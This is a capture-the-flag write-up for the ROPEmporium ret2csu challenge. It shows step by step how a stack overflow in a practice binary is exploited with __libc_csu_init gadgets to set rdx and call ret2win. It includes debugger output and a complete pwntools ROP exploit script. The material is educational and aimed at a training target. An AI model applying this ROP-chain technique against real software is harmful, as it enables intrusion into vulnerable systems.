ROPEmporium: Ret2CSU Write-up

ROPEmporium: Ret2CSU Write-up

In this post, I will be explaining my solution for the Ret2CSU challenge from
ROPEmporium. The challenge can be found here:
https://ropemporium.com/challenge/ret2csu.html

ROPEmporium challenges are awesome for learning Return Oriented Programming (ROP) with small and fairly easy-to-analyse binaries. Ret2CSU is the 8th and (currently) final stage of ROPEmporium and involves a binary with no custom ROP gadgets added to it. You have to work with the "attached code" added to the binary by the compiler, and your goal is to execute the ret2win function.

Here are some tools I recommend for these types of binary challenges:

  • GDB with the PEDA extension (for debugging)
  • objdump (for dissassembling and finding symbol addresses)
  • readelf (for looking at the ELF header and symbols)
  • pwntools python library (for creating exploits)
  • ROPgadget (for finding ROP gadgets available in the binary)

In the challenge, we are provided a flag.txt file and the executable to
compromise (named ret2csu). Let's run file  on it to make sure it's what we
expect:

# file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a799b370a24ba0109f1175f31b3058094b5feab5, not stripped

OK cool! So it's a 64 bit ELF executable with dynamically linked libraries. The
symbols also haven't been stripped, which is nice :)

Next we can execute it in a sandbox environment and see what happens:

# ./ret2csu
ret2csu by ROP Emporium

Call ret2win()The third argument (rdx) must be 0xdeadcafebabebeef

The executable just prints out some text and asks us to call ret2win, making
sure the third argument to it (which is in rdx) is equal to 0xdeadcafebabebeef.

Note that there's a great reference for 64-bit syscalls here:
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/. This site shows that parameters to parsed in using the following registers: RDI, then RSI, then RDX.

Let's also run checksec on the binary (provided with GDB PEDA) to see what
protections it has:

# gdb ret2csu -q
Reading symbols from ret2csu...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Above we can see that NX is enabled (hence we have to use ROP), CANARY is
disabled (so we don't have to bypass a stack canary), and PIE is disabled (so we
know the addresses of the binary itself are predictable). Next, as we know this
is a buffer overflow challenge, we can run the binary with GDB and provide a
large value as the input to see what happens:

# gdb ret2csu -q
Reading symbols from ret2csu...(no debugging symbols found)...done.
gdb-peda$ pattern create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
gdb-peda$ r
Starting program: /root/Documents/hackthebox/ropemporium/ret2csu/ret2csuret2csu by ROP Emporium

Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A

I created a unique pattern with pattern create and then sent it to the program.
The program crashes straight away and GDB PEDA shows me the following output:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x601038 --> 0x0
RBX: 0x0
RCX: 0xfbad2288
RDX: 0x7fffffffe0d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
RSI: 0x7ffff7f998d0 --> 0x0
RDI: 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe0f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
RIP: 0x4007b0 (<pwnme+156>:	ret)
R8 : 0x0
R9 : 0x7ffff7f9e500 (0x00007ffff7f9e500)
R10: 0x602010 --> 0x0
R11: 0x246R12: 0x4005f0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4007a7 <pwnme+147>:	mov    rdi,0x0
0x4007ae <pwnme+154>:	nop
0x4007af <pwnme+155>:	leave
=> 0x4007b0 <pwnme+156>:	ret
0x4007b1 <ret2win>:	push   rbp
0x4007b2 <ret2win+1>:	mov    rbp,rsp
0x4007b5 <ret2win+4>:	sub    rsp,0x30
0x4007b9 <ret2win+8>:	mov    DWORD PTR [rbp-0x24],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0008| 0x7fffffffe100 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0016| 0x7fffffffe108 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0024| 0x7fffffffe110 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0032| 0x7fffffffe118 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0040| 0x7fffffffe120 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0048| 0x7fffffffe128 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
0056| 0x7fffffffe130 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAW")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004007b0 in pwnme ()

The crash is when the program is trying to run ret, which pops the first 64 bits
off the stack and jumps to that location. As the top of the stack is pointing to
our unique pattern, the program is unable to jump to it as a location and
crashes with a segfault. So let's find the offset of the top of the stack:

gdb-peda$ pattern offset AA0AAFAAbAA
AA0AAFAAbAA found at offset: 40

Great! Now we can create a sample python exploit and test whether we can control
the flow of the application at this offset. Below, I use pwntools to create a
template for my exploit code:

# pwn template ret2csu > exploit.py

The above line creates an executable python script with some nice template code,
with features such as:

  • creating a pwntools process object to allow us to interact with the process
  • parsing arguments to enable or disable remote GDB debugging
  • automatically executes checksec  on the binary and puts it in a comment in
    our exploit

Now to get to our actual ROP chain! Let's find the addresses of the symbols and
gadgets we need! First, we need the address of the ret2win function. We can use objdump to help us with this:

# objdump -D ret2csu -M intel | grep ret2win
00000000004007b1 < ret2win>:

Note that I disassembled all sections in the binary using -D and asked for the
output to be in intel syntax using -M intel. Next, we can use ROPgadget to find
gadgets. We know that we want to control the value in RDX, so we can look for
any instructions with pop or rdx in them:

# ROPgadget --binary ret2csu | grep pop
<---------snipped output--------->
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# ROPgadget --binary ret2csu | grep rdx
0x0000000000400567 : lea ecx, dword ptr [rdx] ; and byte ptr [rax], al ; test rax, rax ; je 0x40057b ; call rax
0x000000000040056d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

We have a really nice gadget for controlling the registers R12,R13,R14,R15,
however we don't have any nice gadgets for controlling what goes into rdx.

Using objdump -D ret2csu -M intel we find that the above pop gadget is
actually in the <__libc_csu_init> section of the codebase, and has a few more
pop instructions before it:

40089a:	5b                   	pop    rbx
40089b:	5d                   	pop    rbp
40089c:	41 5c                	pop    r12
40089e:	41 5d                	pop    r13
4008a0:	41 5e                	pop    r14
4008a2:	41 5f                	pop    r15
4008a4:	c3                   	ret

This must be the section the challenge title is referring to! So we look for
other code in this section which we may be able to use to control RDX, and we
find the following interesting code:

400880:	4c 89 fa             	mov    rdx,r15
400883:	4c 89 f6             	mov    rsi,r14
400886:	44 89 ef             	mov    edi,r13d
400889:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]

The above gadget, also found in the CSU section, uses the registers we control (r12,r13,r14,r15) in mov instructions and a call instruction. This is great!
We can treat the call like a jmp instruction as long as we control the contents
of r12 and rbx, where the address jumped to is calculated as follows:

ptr(r12 + rbx * 8)

As part of the first mov instruction, we see that the value in r15 is copied
into rdx. This means we can use our first gadget to pop a value of our choice
into r15 and then use the second gadget to copy this value into rdx!

OK we're getting somewhere. Let's set up our initial payload to set RDX  to the
value we want and set all other registers to 0x00:

io = start()

# mov r15 -> rdx, mov r14 -> rsi, mov r13d -> edi, call ptr(r12 + rbx*8)
movAndCall = p64(0x400880)

# pop in the following order: rbx, rbp, r12, r13, r14, r15
popAllRegisters = p64(0x40089a)
ret2win = p64(0x04007b1)
valueForRdx = p64(0xdeadcafebabebeef)

initial = "A"*40
payload = initial + popAllRegisters + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + valueForRdx + movAndCall

io.send(payload)
open('output','w').write(payload)

io.interactive()

As we have set r12 and rbx to 0x00, we expect the program to crash when it
tries to execute call [0x00]. To help test my payload, I've also added the
second last line to output my payload to a file. I can then easily pass my
payload to the application from within GDB. After running ./exploit.py, I have a
file named output in my folder, and I run the application in GDB as follows:

# gdb ret2csu -q
Reading symbols from ret2csu...(no debugging symbols found)...done.
gdb-peda$ r < output
Starting program: ret2csu < output
ret2csu by ROP Emporium
Call ret2win()
The third argument (rdx) must be 0xdeadcafebabebeef

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x601038 --> 0x0
RBX: 0x0RCX: 0xfbad2098
RDX: 0xdeadcafebabebeef
RSI: 0x0RDI: 0x0
RBP: 0x0
RSP: 0x7fffffffe138 --> 0x5d2334019ad6ff00
RIP: 0x400889 (<__libc_csu_init+73>:	call   QWORD PTR [r12+rbx8])
R8 : 0x0
R9 : 0x77 ('w')
R10: 0x602010 --> 0x0
R11: 0x246
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0xdeadcafebabebeef
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400880 <__libc_csu_init+64>:	mov    rdx,r15
0x400883 <__libc_csu_init+67>:	mov    rsi,r14
0x400886 <__libc_csu_init+70>:	mov    edi,r13d
=> 0x400889 <__libc_csu_init+73>:	call   QWORD PTR [r12+rbx8]
0x40088d <__libc_csu_init+77>:	add    rbx,0x1
0x400891 <__libc_csu_init+81>:	cmp    rbp,rbx
0x400894 <__libc_csu_init+84>:	jne    0x400880 <__libc_csu_init+64>
0x400896 <__libc_csu_init+86>:	add    rsp,0x8
Guessed arguments:
arg[0]: 0x0
arg[1]: 0x0
arg[2]: 0xdeadcafebabebeef
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe138 --> 0x5d2334019ad6ff00
0008| 0x7fffffffe140 --> 0x4005f0 (<_start>:	xor    ebp,ebp)
0016| 0x7fffffffe148 --> 0x7fffffffe1e0 --> 0x1
0024| 0x7fffffffe150 --> 0x0
0032| 0x7fffffffe158 --> 0x0
0040| 0x7fffffffe160 --> 0xa2dccb7e4876ffdc
0048| 0x7fffffffe168 --> 0xa2dcdb418af0ffdc
0056| 0x7fffffffe170 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400889 in __libc_csu_init ()

OK great! We have a successful crash as predicted at 0x400889! We can also see
that the values of our registers r12 and rbx are set to 0x0.

Here is the tricky bit of this challenge. I mistakenly tried putting the
address of ret2win in r12 and keeping 0x0 in rbx, assuming that the call would
jump to ret2win, but this was an incorrect assumption as the call instruction
actually dereferences the calculated value first and then jumps to what it
points to.

Being stuck here for a bit, I thought about placing the address of ret2win on
the stack and the address of the stack in r12, which should dereference
correctly, but didn't find any useful gadget for doing this. The alternative is
to find a location in the binary which points to another location in the
codebase, and continue execution from there.

Disassembling all sections again and looking through for pointers to code (which
I know has addresses after 0x400000), I find some interesting parts added by
the compiler again:

Disassembly of section .init_array:

0000000000600e10 <__frame_dummy_init_array_entry>:
600e10:	d0 06                	rol    BYTE PTR [rsi],1
600e12:	40 00 00             	add    BYTE PTR [rax],al
600e15:	00 00                	add    BYTE PTR [rax],al
...

Disassembly of section .fini_array:

0000000000600e18 <__do_global_dtors_aux_fini_array_entry>:
600e18:	a0                   	.byte 0xa0
600e19:	06                   	(bad)
600e1a:	40 00 00             	add    BYTE PTR [rax],al
600e1d:	00 00                	add    BYTE PTR [rax],al

Looks like at 0x600e10 I have the address 0x4006d0 and at 0x600e18 I have the address 0x4006a0. So if I set r12 to either of these pointers, I should be able get to these addresses. Let's have a look at the code at these addresses:

00000000004006a0 <__do_global_dtors_aux>:
4006a0:	80 3d d1 09 20 00 00 	cmp    BYTE PTR [rip+0x2009d1],0x0        # 601078 <completed.7696>
4006a7:	75 17                	jne    4006c0 <__do_global_dtors_aux+0x20>
4006a9:	55                   	push   rbp4006aa:	48 89 e5             	mov    rbp,rsp
4006ad:	e8 7e ff ff ff       	call   400630 <deregister_tm_clones>
4006b2:	c6 05 bf 09 20 00 01 	mov    BYTE PTR [rip+0x2009bf],0x1        # 601078 <completed.7696>
4006b9:	5d                   	pop    rbp
4006ba:	c3                   	ret
4006bb:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax1+0x0]
4006c0:	f3 c3                	repz ret
4006c2:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
4006c6:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax1+0x0]
4006cd:	00 00 00

00000000004006d0 <frame_dummy>:
4006d0:	55                   	push   rbp
4006d1:	48 89 e5             	mov    rbp,rsp
4006d4:	5d                   	pop    rbp
4006d5:	eb 89                	jmp    400660 <register_tm_clones>

They are more functions placed into the binary by the compiler! So, if we take
them as functions in their own right, we may be able to assume that they end in
a ret which should return us back into <__libc_csu_init> right after our call.
The call instruction will automatically put the next instruction onto the
stack, so if any of these functions ends in a ret, we will continue execution
within <__libc_csu_init>.

So as long as this works, the following code should be executed after our call:

400889:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
40088d:	48 83 c3 01          	add    rbx,0x1
400891:	48 39 dd             	cmp    rbp,rbx
400894:	75 ea                	jne    400880 <__libc_csu_init+0x40>
400896:	48 83 c4 08          	add    rsp,0x8
40089a:	5b                   	pop    rbx
40089b:	5d                   	pop    rbp
40089c:	41 5c                	pop    r12
40089e:	41 5d                	pop    r13
4008a0:	41 5e                	pop    r14
4008a2:	41 5f                	pop    r15
4008a4:	c3                   	ret

It looks like after our call, we execute a compare instruction, and then as long
as that sets the zero flag, we continue execution to our first gadget. This is
very convenient that we get back to our first gadget because it ends with a ret,
allowing us to finally pass control to ret2win after having set RDX to the
value we wanted.

Now all we need to do is make sure the cmp instruction compares two equal
values. It looks like 0x01 is added to rbx and then compared to rbp. Since we
control both these registers from our first gadget, we can just set these to 0x00 and 0x01 respectively and continue execution past the jne instruction.

So our final payload becomes:

io = start()

# mov r15 -> rdx, mov r14 -> rsi, mov r13d -> edi, call ptr(r12 + rbx*8)
movAndCall = p64(0x400880)

# pop in the following order: rbx, rbp, r12, r13, r14, r15
popAllRegisters = p64(0x40089a)
ret2win = p64(0x04007b1)
valueForRdx = p64(0xdeadcafebabebeef)
valueForR12 = p64(0x600e18)

initial = "A"*40
payload = initial + popAllRegisters + p64(0) + p64(1) + valueForR12 + p64(0) + p64(0) + valueForRdx + movAndCall
payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + ret2win

io.send(payload)
open('output','w').write(payload)

io.interactive()

Our payload includes the initial 40 bytes of junk, followed by the call to our
first gadget for popping 6 registers. We set rbx to 0x00, rbp  to 0x01, r12 to
one of the pointers we found, r13 and r14 to whatever, and r15 to the special
challenge value. Then the second gadget gets called (movandCall), and we
continue execution past the call to add rsp, 0x08 followed by 6 pop's and a ret. So we place 7 64-bit values on the stack and ret to our ret2win address :)

# ./exploit.py
[] 'ret2csu'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
[+] Starting local process 'ret2csu': pid 10496
[] Switching to interactive mode
$
ROPE{a_placeholder_32byte_flag!}

And that's our flag!

Many thanks to the challenge creator for helping me learn!